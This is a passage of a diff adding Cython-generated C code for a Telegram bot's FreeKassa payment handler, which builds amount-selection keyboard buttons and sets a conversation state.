__Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_freekassa_2, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/freekassa_pay.py":99 + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_t_11, __pyx_t_14}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/freekassa_pay.py":93 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L6; + } + + /* "handlers/payments/freekassa_pay.py":105 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":106 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/freekassa_pay.py":107 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":108 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_n_u_freekassa_2, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":106 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_1}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_L6:; + + /* "handlers/payments/freekassa_pay.py":92 + * ): + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":111 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + + /* "handlers/payments/freekassa_pay.py":112 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_freekassa", + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":113 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_freekassa", + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__7) < 0) __PYX_ERR(0, 113, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_freekassa) < 0) __PYX_ERR(0, 113, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":112 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_freekassa", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":117 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 117, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 117, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_3}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":119 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" FreeKassa:", + * reply_markup=builder.as_markup(), + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 119, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":120 + * + * await callback_query.message.answer( + * text=" FreeKassa:", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u_FreeKassa_5) < 0) __PYX_ERR(0, 120, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":121 + * await callback_query.message.answer( + * text=" FreeKassa:", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":119 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" FreeKassa:", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 119, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 119, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":124 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_freekassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_choosing_amount_freekassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 124, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 124, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_freekassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_13generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_12process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_12process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_12process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_12process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + CYTHON_UNUSED PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 127, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 127, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 127, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 127, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 127, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_11process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_11process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct 